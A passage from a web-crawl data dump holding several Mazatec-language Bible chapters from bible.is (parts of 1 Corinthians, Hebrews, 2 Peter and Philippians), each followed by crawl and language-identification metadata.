'tse̱ Cristo. Ko̱ ra jiòn, 'koa̱á 'sín bítjo̱ngi jiòn koni tsa 'ñó nda machi̱ya‑najiòn ra a̱'ta 'tse̱ Cristo. Ra ji̱n, 'koa̱á 'sín kjòn‑ji̱n koni tsa tsìn‑naji̱n nga'ñó, ko̱ ra jiòn, koni tsa 'ñó tjín‑no nga'ñó; ra ji̱n, tínachrjengií‑naji̱n, ko̱ jiòn, ndaá tí'yaxkón‑no. 11Skanda 'ndi̱‑ni̱, kjinchrá i̱nchibato‑ji̱n, skanda tsìn‑naji̱n nandá ra 'yo‑ji̱n, tsìn‑naji̱n nikje ra tsjaya‑ji̱n, i̱nchi'yatoón‑naji̱n, ko̱ tsìn jngo‑naji̱n ni'ya ñánda̱ nga tsijen titsa̱jna‑ji̱n, ta timasòn‑náji̱n. 12Jñá ndsa̱‑ji̱n i̱nchinìchjeén‑ji̱n nga i̱nchiníxá‑ji̱n ko̱ nga i̱nchinìki'òn‑ji̱n ijo‑na̱ji̱n. 'Kia̱ nga 'cho tsò 'én ra chja̱'tin‑naji̱n xi̱ta̱, ta isa̱á nda tsò 'én ra nakjoá'tin‑ji̱n ra ji̱n, ko̱ tsa 'kia̱ nga yá ra kjaán‑ko̱‑naji̱n, chíkjoa̱á‑naji̱n. 13Tsa yá ra chja̱jno‑naji̱n, ta isa̱á nda niko̱‑ji̱n ra ji̱n. Skanda 'ndi̱‑ni̱, 'koa̱á 'sín betákon‑naji̱n jñà xi̱ta̱ koni tjé‑la̱ i̱sà'nde, ko̱ koni jñà tsajmì ra mì ti̱ mé chjí‑la̱. 14Mì tsa ki xá tíbindá‑najiòn xa̱jo̱n nga tísìsába‑no. Ta jé‑ní nga tíbiyáchi̱ya‑no koni tsa i̱xti‑na̱ ra tsjake̱. 15Ni̱'sín‑la te jmi ma‑ni xi̱ta̱ ra i̱nchisíkonda̱‑no nga bakón‑ya‑no ra a̱'ta 'tse̱ Cristo, tanga jngo kjón‑ni jè ra ko̱'sín tíjna koni tsa na̱'ìn‑no ma. 'A̱n‑ná ra koni na̱'ìn‑no ma, nga̱ 'a̱án ítsakon‑yá ítjòn‑no jè 'én xi̱tse̱ ra nda tsò mé‑ni nga kjomà kjokjiín‑no a̱'ta 'tse̱ Cristo Jesús. 16'Koa̱á ma‑ni nga ko̱'sín tíbitsá'ba‑no nga ko̱'sín chjíngí‑ná jiòn koni 'sín tí'siaa̱n ra 'a̱n. 17'Koa̱á ma‑ni nga ko̱'sín ísikásén‑no jè Timoteo, ra ko̱'sín tíjna koni i'ndí‑na̱ ra 'ñó matsjake̱ ra kixi̱ tísíkitjasòn xá‑la̱ Na̱'ín‑ná. Jè si̱íkítsjen‑yá‑no kó'sín tí'siaa̱n ra 'a̱n ra a̱'ta 'tse̱ Cristo ko̱ kó'sín nga bakon‑yáa̱ ta ñánda̱ nga bajmee̱ ko̱ nga tíjngo ñánda̱ nga tjín xi̱ta̱ na̱xi̱ndá‑la̱ Cristo. 18Tjín i'ka xi̱ta̱ xàngio̱o jiòn ra 'ñó 'nga ikon, nga 'koa̱á 'sín síkítsjen tsa mì ti̱ kì kijcho katsíjen‑no. 19Tanga tsa jè Na̱'ín‑ná ra ko̱'sín mejèn‑la̱ ki̱jchò'tsè ndi̱to̱ón‑najiòn. Ko̱ 'kia̱á skee̱ kjòn kó'sín chja̱ jñà ra ko̱'sín 'nga ikon i̱nchi'sín; mì tsa ta jè‑jìn nga kó'sín chja̱, jè ra mejèn‑na nga skee̱ a tjín kiti‑la̱ nga'ñó koni 'sín nga tsò. 20'Kia̱ nga jè saba Nainá batéxoma‑la̱ xi̱ta̱, mì kì machjeén nga ta 'én ra ki̱chja̱, jè nga'ñó‑la̱ Nainá ra machjeén. 21¿Kó'sín mejèn‑najiòn? ¿A jé ra mejèn‑no nga ngi ko̱ kjo̱jti‑na̱ kijchò'tsè‑no? ¿O̱ ra jè mejèn‑no nga ngi ko̱ kjo̱nda‑na̱ ko̱ kjo̱tsjacha‑na̱ kijchò'tsè‑no?\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/4","date":"2017-08-20T09:52:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886106367.1\/warc\/CC-MAIN-20170820092918-20170820112918-00411.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":734,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Koií ko̱s'ín mochjeén‑ne nga chíta'yà 'én‑la̱ Cristo xi ìsa̱ ndaà ko̱jchíngakoa̱á kjoa̱ ts'e̱ Nainá mé‑ne nga ni̱mé chi̱jat'aà‑ná nga xi̱ta̱‑la̱ Cristo maá. Mì ti̱jñà ti̱jñà 'én chíta'yà‑aná xi kichìta'yá nga sa̱ ítjòn i̱t'aà ts'e̱ Cristo. Mì ti̱jñà ti̱jñà 'én si̱kítsjeèn‑ya‑ná kó s'ín ma nga nìkájnoaá jé xi tjín‑ná xi kjoa̱biyaà fìko̱‑ná. Ko̱ ti̱koa̱á mì ti̱jñà ti̱jñà 'én si̱kítsjeèn‑ya ìjngoò k'a‑ná kó s'ín kòkjeiín‑ná i̱t'aà ts'e̱ Nainá 2ko̱ kós'ín ma bautizar xi̱ta̱, ko̱ kós'ín oyijòsòn‑lá ndsa̱á jñà xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo. Ko̱ ti̱koa̱á mì ti̱jñà ti̱jñà 'én si̱kítsjeèn‑ya ìjngoò k'a‑ná kó s'ín kjoa̱áya‑la̱ jñà xi̱ta̱ xi jye k'en, ko̱ kós'ín s'i̱in Nainá nga ki̱ìndaàjiìn‑la̱ xi̱ta̱ mé xi ok'ìn‑la̱ nga tsjá‑la̱ ni̱ta̱ kjé‑ne. 3Mochjeén‑né nga chíta'yà 'én xi ìsa̱ ndaà ko̱jchíngakoa̱á kjoa̱ ts'e̱ Nainá; tsà Nainá tsjá'nde nga ko̱s'ín ko̱ma, k'oa̱s'ín s'e̱én. 4Nga jñà xi̱ta̱ xi jye kjòhiseèn‑la̱ kjo̱hítsjeèn‑la̱, xi jye kisaseèn‑takòn kjo̱ndaà xi tsjá Nainá, xi ti̱koa̱ jye ngásòn kitjoé‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, 5xi jye kisaseèn‑takòn 'én ndaà‑la̱ Nainá ko̱ nga'ñó‑la̱ i̱sò'nde xi sa̱ kjoi̱í, 6tsà ìjngoò k'a xìn ndi̱yá kjoi̱, tsà tsjìn takòn 'én‑la̱ Nainá, mì ti̱ kiì ko̱ma ko̱ndaàya‑ne kjo̱hítsjeèn‑la̱ nga ko̱ófat'aà ìjngoò k'a‑la̱ Nainá; nga jñà xi̱ta̱ koi, kjoa̱ xi nchis'ín, k'oa̱á ngaya‑la̱ koni tsà krò nchihót'aà ìjngoò k'a jè Ki'ndí‑la̱ Nainá nga tsjá‑la̱ kjo̱sobà nga nguixko̱n ngats'iì xi̱ta̱. 7K'oa̱á s'ín ngaya‑la̱ koni jè nangui, k'e̱ nga 'ba jtsí, ma'nchi̱'nde‑né. Tsà ndaà xka̱ xi bisò xi mochjeén‑la̱ xi̱ta̱ xi síxáko̱ nangui, jè Nainá síchikon‑t'in nangui. 8Ta̱nga tsà na'yá chi̱ni̱ ko̱ na'yá xanchroò bisò, ni̱mé chjí‑la̱, mìtsà nangui ndaà nga nguixko̱n Nainá; ki̱jchò na̱chrjein nga tà ki̱ti̱‑né. 9Jñò ndí 'ndsè, xi matsjacha‑nòje̱n, na̱s'ín k'oa̱s'ín nokjoà‑je̱n, k'oa̱á s'ín tíjngoò takòn‑je̱n nga tjoé‑nò kjoa̱ xi 'ñó ndaà tjín, ngats'iì kjo̱ndaà xi tjín‑la̱ xi̱ta̱ xi jye itjokàjiìn kjo̱'in. 10Nga Nainá, xi̱ta̱ kixi̱‑né, mìkiì síjchàajiìn xá‑nò xi jye ki'nè ko̱ kjoa̱tjòcha xi tjín‑nò nga nìchját'aà‑là xi̱ta̱ na̱xa̱ndá‑la̱ Cristo, koni s'ín titsa̱'nè skanda na̱chrjein i̱'ndei̱. 11Ta̱nga ngaje̱n, k'oa̱á s'ín mejèn‑naje̱n nga kjit'aà na̱chrjein nguì ko̱ó kjo̱tsja nga ko̱s'ín ti̱xá nga jngoò ìjngoò skanda k'e̱ nga kjoe̱het'aà na̱chrjein‑nò mé‑ne nga ki̱tasòn‑ne kjoa̱ xi titsa̱chiñá‑la̱á. 12Majìn‑naje̱n nga ts'eè s'e̱en. Chjínguì‑là jñà xi̱ta̱ xi jye nchitjoé‑la̱ kjo̱tjò koni s'ín kitsjaà tso'ba Nainá koií kjoa̱‑la̱ nga ndaà mokjeiín‑la̱ ko̱ tjín‑la̱ kjoa̱tsejta. 13Nainá k'e̱ nga kitsjaà‑la̱ tso'ba Abraham, k'oa̱á s'ín kitsjaà kixi̱ 'én‑la̱ nga ti̱jè tsasèn‑ne nga mì ti̱ yá tjín‑ne xi ìsa̱ 'nga tíjna koni jè; k'oa̱á s'ín kiìchja̱, 14nga kitsò: \"'A̱n, 'ñó ndaà sichikon‑t'in‑lè, ti̱koa̱ 'ñó ko̱kjìn‑ya jñà i̱xti‑lè.\" 15K'oa̱á s'ín komà‑ne Abraham kiskoòñàkjoa̱, i̱kjoàn kitjoé‑la̱ koni s'ín kitsò Nainá. 16Jñà xi ta̱xki̱ xi̱ta̱, k'e̱ nga tsjá 'én‑la̱, síkjeén jngoò 'ín‑la̱ jngoò xi ìsa̱ 'nga tíjna mé‑ne nga síkixi̱ya‑ne 'én xi tsjá. Ko̱ tà ya̱á fehet'aà kjoa̱. 17K'oa̱á s'ín ma‑ne k'e̱ nga jè Nainá k'oa̱á s'ín kjòmejèn‑la̱ nga kitsjaà kixi̱‑la̱ 'én jñà xi̱ta̱ xi tjoé‑la̱ kjo̱tjò nga si̱ìkitasòn koni s'ín kitsjaà tso'ba, kitsjaà jngoò 'én xi 'ñó xkón tjín nga ni̱mé xi ma kjoa̱tjìya. 18Jñà 'én koi xi jò ma‑ne xi mìkiì ma fatjìya, nga mìkiì ko̱ma skóna̱cha̱n‑ná Nainá, ya̱á 'ñó sakó‑la̱ nga'ñó ini̱ma̱‑ná, jñá xi mejèn‑ná nga Nainá ko̱si̱ko̱‑ná nga nguì jè kjit'aà takoán nga titsa̱chiñá‑lá jè kjoa̱ kixi̱‑la̱ xi jè jye kitsjaà‑ná. 19Jè kjoa̱ kixi̱ xi titsa̱chiñá‑lá, k'oa̱á s'ín síkíjna kixi̱ ini̱ma̱‑ná koni jngoò ki̱cha̱ xi sit'aà'ñó‑ne chitso, ko̱ jè kjoa̱ kixi̱ xi o̱kji skanda maá jahas'en ya̱ i̱'nde tsjeè ñánda tjo̱bájtoò nikje cortina, 20ya̱ ñánda jahas'en Jesús nga tsohójnandaà‑ná ndi̱yá, nga no̱'miì ítjòn tíjna ni̱ta̱ mé na̱chrjein‑ne koni jè Melquisedec.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/6","date":"2017-08-22T03:41:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886109893.47\/warc\/CC-MAIN-20170822031111-20170822051111-00594.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":570,"character_repetition_ratio":0.062,"word_repetition_ratio":0.007,"special_characters_ratio":0.23,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20Jñà xi̱ta̱ xi jye kijtseèxkon Jesucristo xi otíxoma‑ná, nga jè tsachrjekàjiìn kjo̱'in, nga jye chinchat'aàxìn‑la̱ kjoa̱ ch'o‑la̱ i̱sò'nde, tsà ìjngoò k'a k'oa̱s'ín s'i̱in, tsà si̱ìkijne ìjngoò k'a‑la̱ kjoa̱ xi ch'o tjín, nga ko̱ma i̱skan, ìsa̱á ch'o ko̱mat'in mì k'oa̱‑ne k'e̱ nga sa̱ ítjòn.\n2 Pedro 2:20\nFREE!\nOne App.\n1253 Languages.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/2Pet\/2\/20","date":"2017-08-23T23:36:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886124662.41\/warc\/CC-MAIN-20170823225412-20170824005412-00067.warc.gz","language":"maa","language_score":0.9999898672,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9999898672103882}","num_words":48,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ndí 'ndsè ko̱ tichjaá, k'e̱ nga kiìkon‑nò nga tsibeno̱jmí‑nò 'én‑la̱ Nainá, mìtsà koi 'én kichjà‑nò xi maxkón‑la̱ xi̱ta̱ k'e̱ nga 'nchré ko̱ xi tsò‑la̱ nga 'én‑la̱ xi̱ta̱ chji̱ne̱. 2K'e̱ nga tsohóti̱jnako̱‑nò, k'oa̱á s'ín kiskoòsòn‑la̱; mìtsà mé kjoa̱ xi kj'ei̱í kisìkítsjeèn; nguì tà 'én‑la̱ Jesucristo tsibeno̱jmí‑nò, nga jè‑né xi krò k'en‑t'aà. 3K'e̱ nga ijchò kèno̱jmí‑nò 'én‑la̱ Nainá, indaàkjoa̱á ijchoa. Titsakjoòn‑ná skanda tíhotsé‑ná. 4K'e̱ nga kichjàyajiìn‑nò mìtsà 'én‑la̱ xi̱ta̱ chji̱ne̱ kisìkjeén mé‑ne nga ko̱kjeiín‑nò. Ta sa̱á jè Ini̱ma̱ Tsjeè‑la̱ Nainá tsakó nga'ñó‑la̱ nga kòkjeiín‑nò. 5Mé‑ne jè kjoa̱ xi mokjeiín‑nò i̱t'aà ts'e̱ Cristo, mìtsà ya̱ nchrobá‑ne kjoa̱ chji̱ne̱‑la̱ xi̱ta̱, ya̱á nchrobá‑ne nga'ñó‑la̱ Nainá. 6Kixi̱í kjoa̱ 'én chji̱ne̱é nokjoàya‑la̱je̱n jñà xi̱ta̱ xi jye tímajchínga nga mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo. Ta̱nga mìtsà kjoa̱ chji̱ne̱ ts'e̱ i̱sò'nde nokjoàya‑je̱n, ni̱ mìtsà ts'e̱ xi̱ta̱ ítjòn xi tjín i̱sò'nde xi jye tíchija nga'ñó‑la̱. 7'Én xi nokjoàya‑je̱n, kjoa̱ chji̱ne̱ ts'e̱ Nainá‑né, jè kjoa̱chji̱ne̱ xi tjí'ma‑la̱ xi k'oa̱s'ín kiskoòsòn‑la̱ skanda ti̱sa̱ kjòtseé nga jñá jeya ki̱tsa̱jnaá. 8Ni̱jngoò xi̱ta̱ ítjòn xi tjín i̱sò'nde kjòchi̱ya‑la̱ i̱t'aà ts'e̱ kjoa̱ chji̱ne̱ koi. Tsà kjòchi̱ya‑la̱, mì‑là kiì k'oa̱s'ín krò kisìk'en‑t'aà Na̱'èn‑ná Jesucristo xi tjín‑la̱ kjoa̱ jeya. 9Xo̱jo̱n‑la̱ Nainá, k'oa̱á s'ín tíchja̱ nga tsò: Jñà xi̱ta̱ xi matsjakeè Nainá, jè tjíndaà‑la̱ kjoa̱ xi ni̱ sa̱á jngoò xi̱ta̱ xi xko̱n beè‑ne, xi líká‑la̱ 'nchré‑ne xi ko̱ ini̱ma̱‑la̱ machi̱ya‑la̱. 10Nainá, i̱t'aà ts'e̱ Ini̱ma̱ Tsjeè‑la̱ tsakó‑naje̱n kjoa̱ koi. Nga̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá ótsjiya yije‑né skanda jñà kjoa̱ xi mìkiì ndaà fìya‑ná i̱t'aà ts'e̱ Nainá. 11¿Yá xi̱ta̱‑ne xi machi̱ya‑la̱ kó tsò kjo̱hítsjeèn xi tíjiìn ini̱ma̱‑la̱ xi̱ta̱ xi kj'ei̱í? Tà jè tíjiìn ini̱ma̱‑la̱ kó tsò kjo̱hítsjeèn‑la̱. K'oa̱á ti̱s'ín tjín kjoa̱ ts'e̱ Nainá, ni̱jngoò xi̱ta̱ tíjiìn‑la̱ kó tsò kjo̱hítsjeèn‑la̱ Nainá; ta̱ jè Ini̱ma̱ Tsjeè‑la̱ tíjiìn‑la̱. 12Ngaje̱n, mìtsà jè ini̱ma̱‑la̱ xi̱ta̱ i̱sò'nde kitjoé‑naje̱n. Jè Ini̱ma̱ Tsjeè‑la̱ Nainá kitjoé‑naje̱n, mé‑ne nga jcha̱‑naje̱n kjoa̱ xi Nainá kitsjaà kjo̱tjò‑ná. 13'Én koi, k'oa̱á s'ín nokjoà‑je̱n koni s'ín okóya‑naje̱n Ini̱ma̱ Tsjeè‑la̱ Nainá. Mìtsà kjo̱hítsjeèn ts'e̱ xi̱ta̱ i̱sò'nde. 'Én Tsjeè‑la̱ Nainá bèno̱jmí‑je̱n xi kjoa̱ ts'e̱ Ini̱ma̱ Tsjeè‑la̱. 14Jè xi mìtsà xi̱ta̱‑la̱ Cristo, mìkiì machi̱ya‑la̱ 'én xi ts'e̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. Tà kjoa̱ ská ma‑la̱. Mìkiì fahas'en‑jiìn‑la̱, nga mochjeén‑né nga i̱t'aà ts'e̱ Ini̱ma̱ Tsjeè‑la̱ Nainá ki̱nchátsjiyaá. 15Ta̱nga jè xi̱ta̱ xi Ini̱ma̱ Tsjeè‑la̱ Nainá tíjnajiìn ini̱ma̱‑la̱, maá‑la̱ ótsjiya yije ni̱ta̱ mé kjoa̱‑ne. Ta̱nga i̱t'aà ts'e̱ xi̱ta̱ jè, mì yá xi̱ta̱ xi ko̱ma‑la̱ ko̱hótsjiya kjo̱hítsjeèn‑la̱. 16K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"¿Yá‑né xi beè kjo̱hítsjeèn‑la̱ Nainá? ¿Yá‑né xi ko̱ma ko̱kòya‑la̱?\" Ta̱nga jñá tjín‑ná kjo̱hítsjeèn xi ts'e̱ Cristo.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/2","date":"2017-08-18T02:11:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886104204.40\/warc\/CC-MAIN-20170818005345-20170818025345-00146.warc.gz","language":"maa","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"maa_Latn_score\": 1.0000079870224}","num_words":398,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Ndi̱‑ni̱ nga ijye tjín‑najiòn kjoa̱jetakòn ra a̱'ta 'tse̱ Cristo, ko̱ nga ijye ko̱ kjoa̱tsjacha‑la̱ ma nìjetakòn‑no, nga ijye nda titsa̱jtín‑ko̱o jè Inìma̱ Tsje‑la̱ Nainá, nga ijye tjín‑no jngo kjoa̱tsjacha ra ngi inìma̱‑no nchrabájin‑ni, ko̱ nga ijye tjín‑no kjo̱hi̱ma̱takòn, 2'koa̱á ma‑ni, ti̱jngoko̱o jiòn jè kjo̱tsja ra tjín‑na nga ko̱'sín ngásòn nda ti̱jngo kjo̱bítsjen‑no, nga ko̱'sín‑te ngásòn jngo kjo̱tsjacha kata'se‑no nga jngó jngó‑no, ko̱ ngi ta jngo inìma̱ kata'se‑no nga ti̱tsa̱jtión, ko̱ ngi ta jngoó kjo̱bítsjen tangió. 3Kì ni̱mé kjoa̱ 'nià jiòn ra ta jè ijo‑no 'nga si̱kítsa̱jna, ko̱ nga nda ki̱náchrjengi‑no; ta isa̱á nangií ti̱kítsa̱jna jiòn ijo‑no ko̱ 'koa̱á 'sín ti̱kítsjen jiòn koni tsa isa̱ 'ñó xkón títsa̱jna ra i'ka koni ra jiòn‑jiòn. 4Kì tà jè níkájno ra kjo̱nda tsa̱jiòn; ta isa̱á jnchro jñà ti̱kájno mé kjo̱nda ra chija‑la̱ ra kj'ií xi̱ta̱. 5'Koa̱á ti̱'sín jè kjo̱bítsjen kata'se‑najiòn koni jè kjo̱bítsjen ra tjín‑la̱ Jesucristo. 6Nga̱ ni̱'sín jè Cristo jè sabá Nainá, mì tsa jè kjo̱'ñó kjomejèn‑la̱ nga ko̱'sín tsikijna koni tsa Nainá. 7Ta isa̱á 'koa̱á 'sín kitsjà‑la̱ ikon nga 'ñó nangi isíkíjna ijo‑la̱, ko̱ 'koa̱á 'sín isíkíjna ijo‑la̱ koni tsa jngo ndí xi̱ta̱ ra chi̱'nda'ñó tíjna, ko̱ 'koa̱á 'sín 'ki kjomà koni nga'tsì ra xi̱ta̱ i̱sà'nde. 8'Kia̱ nga tsikijna i̱ i̱sà'nde koni tsa taxki̱ xi̱ta̱, ti̱jé 'ñó nangi isíkíjna‑ni ijo‑la̱; ndaá isìhitjasòn skanda ini'ken‑ní, ko̱ skanda krò 'ken'ta [koni tsa jngo xi̱ta̱ ra 'ñó 'cho ki'sìn]. 9'Koa̱á ma‑ni nga jè Nainá taxki̱ 'ñó 'nga isíkíjna ítjòn, nga̱ jè tíjna ítjòn‑la̱ ta yá‑isa‑ni; ko̱ 'koa̱á 'sín Nainá kitsjá jngo‑la̱ xá ítjòn ra isa̱ 'ñó 'nga tíjna koni ta ñáa̱‑isa‑ni xá ra 'se‑la̱ xi̱ta̱, 10mé‑ni nga'tsì‑ni ra ya̱ tjítsa̱jna ya̱ ján ngajmi, nga'tsì ra tjítsa̱jna i̱ a̱'ta nangi ko̱ nga'tsì ra tjítsa̱jna ya̱ a̱jin nangi katinchaxkó'nchi nga katabexkón jè Jesús. 11Nga ko̱'sín katatsjá 'én‑la̱ nga jè Jesucristo ra tíjna ítjòn‑ná, mé‑ni nga jeya katijna‑ni jè Nainá ra Na̱'ìn 'mí‑lá. 12'Koa̱á ma‑ni, jiòn ndí 'ndsé ra 'ñó tsjake̱‑no, koni 'sín nga nda i̱nchinitjasòn ki'ta jiòn, ko̱ mì tsa ta 'kia̱‑jìn 'kia̱ nga ya̱ tíjna̱ko̱ kjòn‑no; isa̱á nda ti̱hitjasòn‑isa jiòn 'kia̱ nga mì tsa ya̱ tíjna̱ko̱‑no; tinè‑la ijo‑no nga nda kjòn kata'ya ki'ta‑la̱ nga jè Nainá ijyeé tsachrjekàjin‑no kjo̱hi'in ra 'tse̱ jé‑no ko̱ ni̱chjin nchijón‑ní ti̱skón‑ya. 13Nga̱ jé Nainá‑ní ra ko̱'sín síkjinchrabájin inìma̱‑najiòn 'kia̱ nga mejèn‑no mé ra 'nià, ko̱ jè síchi̱ya‑no 'kia̱ nga mé kjoa̱ ra 'nià jiòn, mé‑ni nga katitjasòn‑ni kjoa̱ ra nda tjín ra jè mejèn‑la̱. 14'Kia̱ nga mé ra 'sia̱an jiòn, kì tà chjàn ta i̱nchitsjajé ki'ta ko̱ kì tà mé ra chitiya‑no, 15mé‑ni nga ni̱mé jé katasakó‑ni ra a̱'ta tsa̱jiòn ko̱ ti̱'koa̱á ngi tsjeé katijna inìma̱‑no nga ngi i̱xti‑la̱ Nainá ra tsje títsa̱jna katama jiòn ya̱ a̱jin‑la̱ xi̱ta̱ ra ta ngakjá fìko̱ kjo̱bítsjen‑la̱ ko̱ ra 'cho 'sín. Ko̱ ya̱á kata'ya‑la̱ kjoa̱tsje‑najiòn koni jngo nitse ra fate tsijen ya̱ ñánda̱ nga jñò chon. 16Jiòn jiòn, jngoó 'én nda ra tsjá kjo̱binachon i̱nchibakon‑la jiòn. 'Koa̱á ma‑ni, 'kia̱ nga kj'i̱í jè Cristo, 'ñó tsja 'se̱‑na nga mì tsa ta kjo̱tjò‑ni nga ko̱'sín tsàjmesòo̱n nga kísiká'bía̱ jè 'én nda‑la̱ Cristo, ko̱ mì tsa ta kjo̱tjò‑ni nga ko̱'sín ta 'ñó kisíxáa̱. 17Jè kjo̱hi'in ra i̱nchinikjiín jiòn ra ta nga̱tjì‑la̱ nga makjiín‑no a̱'ta 'tse̱ Cristo 'koa̱á jngoya‑la̱ koni tsa jngo kjo̱tjò i̱nchinìnga̱tsja jiòn Nainá. Ko̱ jè kjo̱hi'in ra tísikjiáa̱n ti̱'koa̱á jè jngoya‑la̱ jngo kjo̱tjò ra ya̱ tísíjngoko̱ kjo̱tjò ra jiòn i̱nchi'bì‑la Nainá; 'koa̱á ma‑ni nga ko̱'sín 'ñó matsja‑na ko̱ skanda ya̱á sijngó‑ko̱ kjo̱tsja‑na̱ ko̱ kjo̱tsja ra tjín‑najiòn. 18'Koa̱á ti̱'sín 'ñó tsja kata'se‑najiòn, ko̱ katajngo kjo̱tsja ra tjín‑najiòn ko̱ kjo̱tsja tsa̱'a̱n. 19'Koa̱á 'sín koñáa̱ tsa jè Jesús ra tíjna ítjòn‑ná ko̱'sín mejèn‑la̱ nga ndi̱to̱n sikásén‑najiòn jè Timoteo, mé‑ni nga ti̱'koa̱ kata'ñó‑ni takoàa̱n 'kia̱ nga kji'nchrè kó'sín titsa̱jna jiòn. 20Nga̱, mì tsa ti̱ yá tjín‑isa‑ni ra ko̱'sín mangásòn‑ko̱ kjo̱bítsjen‑na̱ koni jè Timoteo ra ngi kixi̱ kiti kjoa̱ ra síkájno a̱'ta tsa̱jiòn. 21Nga'tsì xi̱ta̱ ra kj'ií, sabà ta kjo̱nda 'tse̱é bátsji, ko̱ mì tsa jñà bátsji kó'sín nga síhitjasòn‑la̱ Cristo Jesús. 22Tanga ijyeé nda 'ya jiòn kó'sín nga kixi̱ 'sín jè Timoteo, nga 'ñó nda tíbasiko̱'ta‑na nga tí'béna̱jmíya jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo; 'koa̱á 'sín tí'sín koni 'sín basìko̱'ta jngo ti jè ra na̱'ìn‑la̱ ma. 23'Koa̱á 'sín koñáa̱ nga jé sikásén ndi̱to̱n‑najiòn, 'kia̱ nga ijye skee̱ kó'sín fì kjoa̱‑na̱. 24'Ñó tjín takoàn ra a̱'ta 'tse̱ Na̱'ín‑ná nga ti̱'koa̱á ndi̱to̱ón kijchòjkon sabà‑te‑najiòn. 25Ti̱'koa̱á, 'koa̱á ma‑na nga nda‑la tjín nga sikásén india‑najiòn jè ndí 'ndsé Epafrodito, jè ra nda tíbasiko̱'ta‑na ko̱ ti̱'koa̱ nda tíbáhijtako̱‑na kjoa̱ ra i̱nchibixkàn‑tjì‑ji̱n; jè ra jiòn sabà inikasén jiòn, mé‑ni nga jè sko̱òtsíjen‑ni nga'tsì mé ra chija'ta‑na. 26Batoó bátsji‑la̱ inìma̱‑la̱ ra a̱'ta tsa̱jiòn‑jiòn ko̱ batoó ba tjín‑la̱, ta nga̱tjì‑la̱ be‑ní nga ijyeé ina'yá jiòn a̱'ta 'tse̱ 'chin ra iska'ta‑la̱. 27Kixi̱ kitií kjoa̱ 'ñó kjokiya, skanda kja̱meé 'ken; tanga jè Nainá kjòhi̱ma̱ke‑ní, ko̱ mì tsa ta jè ra kjòhi̱ma̱cha, ti̱'koa̱á kjòhi̱ma̱keé‑te‑na Nainá ra 'a̱n, mé‑ni nga mì ti̱ kjo̱ba katasakó-isa‑na ra 'a̱n. 28'Koa̱á ma‑ni nga ndi̱to̱n kjòn‑ní nga tísikásén‑najiòn, mé‑ni nga tsja kata'se‑najiòn 'kia̱ nga jcha̱ india‑no, ko̱ ti̱'koa̱á ra 'a̱n, mì tsa ti̱ mé ra 'ñó síkájno‑na ra a̱'ta tsa̱jiòn. 29Ngi ko̱ó kjo̱tsja‑najiòn nga nda ti̱sin‑la 'kia̱ nga ki̱jchò koni 'sín nga bakèn‑la̱ jngo xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ Cristo; ko̱ ko̱'sín nda jcha̱xkón ki'ta jiòn jñà xi̱ta̱ ra ko̱'sín 'sín‑te koni jè Epafrodito. 30Nga̱ ta kií nga̱tjì‑la̱ nga jè xá‑la̱ Cristo tí'sín 'kia̱ nga ko̱'sín kja̱me 'ken; kitsjá‑la̱ ikon nga ni̱'sín katiya mé‑ni nga ma si̱hitjasòn‑ni jè xá ra mì kì ma tsisìko̱'tá‑nájiòn.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/Phil\/2","date":"2017-08-17T10:07:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886103167.97\/warc\/CC-MAIN-20170817092444-20170817112444-00015.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":892,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n Pablo, ra chi̱'nda‑la̱ Nainá ma. Ti̱'koa̱á 'a̱án tsikíxáya‑na Jesucristo 